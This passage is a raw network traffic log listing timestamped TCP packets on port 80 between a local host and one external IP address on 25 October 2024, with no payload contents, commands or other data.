Oct 25, 2024 07:28:22.384723902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.384747982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.384754896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.384804010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.384836912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.384851933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.384888887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.384893894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.384928942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.384932995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.384984016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385029078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385035992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385063887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385114908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385114908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385153055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385169029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385181904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385194063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385222912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385246992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385283947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385313034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385351896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385384083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385395050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385425091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385435104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385468960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385474920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385513067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385519028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385559082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385569096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385601997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385612011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385634899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385641098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385665894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385672092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385706902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385706902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385749102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385761023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385793924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385798931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385843039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385847092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385878086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385922909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385926962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.385967016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.385974884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386017084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386024952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386064053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386069059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386096954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386105061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386130095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386162996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386167049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386177063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386214972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386238098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386259079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386266947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386300087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386307001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386332989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386341095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386365891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386374950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386399984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386406898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386444092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386450052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386485100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386528015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386535883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386568069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386585951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386609077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386615992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386648893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386657953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386692047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386702061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386738062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386744022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386778116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386785984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386827946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386836052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386878967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386884928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386918068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386940002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386950016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386965990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.386984110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.386993885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387027025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387034893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387068987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387075901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387100935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387105942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387136936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387142897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387167931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387177944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387204885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387214899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387238979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387248039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387274027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387283087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387305975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387325048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387351990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387360096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387393951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387406111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387425900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387458086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387469053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387499094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387509108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387548923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387557983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387609005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387609005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387660027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387676954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387701035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387711048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387758970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387806892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387810946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387844086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387859106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387885094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387896061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387928963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.387944937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387969971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.387979031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388014078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388047934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388050079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388072014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388081074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388113022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388122082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388144970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388154984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388187885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388195992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388225079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388231993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388264894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388277054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388319016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388328075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388370991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388380051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388412952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388422966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388454914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388462067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388509035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388513088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388545036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388578892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388587952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388612032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388622046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388644934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388660908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388674021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388688087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388717890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388725996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388770103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388777018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388818026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388824940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388858080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388869047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388890982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388906002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388925076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388933897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388957024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388968945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.388991117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.388998032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389019966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389030933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389051914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389060020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389086008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389096975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389115095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389131069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389147997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389169931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389180899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389192104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389214039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389246941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389259100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389278889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389290094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389312983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389344931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389362097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389379025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389391899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389411926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389446020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389456034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389478922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389489889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389512062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389528036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389540911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389552116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389574051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389585018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389611006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389626026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389653921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389687061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389697075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389720917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389736891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389754057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389765978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389787912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389800072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389820099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389831066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389868975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389874935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389897108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389910936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389930964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389949083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.389964104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.389997005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390011072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390034914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390039921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390069008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390077114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390103102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390105963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390135050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390145063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390168905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390176058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390202999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390218019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390242100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390250921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390274048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390283108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390310049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390317917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390341997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390352011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390377998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390384912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390412092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390420914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390446901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390455008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390480042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390490055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390515089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390520096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390548944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390554905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390583038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390593052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390611887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390644073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390652895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390680075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390686035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390717030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390722990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390750885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390758038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390784025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390791893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390818119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390825033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390851021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390857935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390885115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390894890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390918016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390928030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.390953064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390985012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.390986919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391005993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391019106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391031027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391047955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391079903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391088009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391113997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391123056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391146898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391155958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391180992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391182899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391215086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391226053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391249895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391259909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391283035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391293049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391328096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.391338110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391366005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391397953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.391408920 CEST	49704	80	192.168.2.5	185.215.113.37
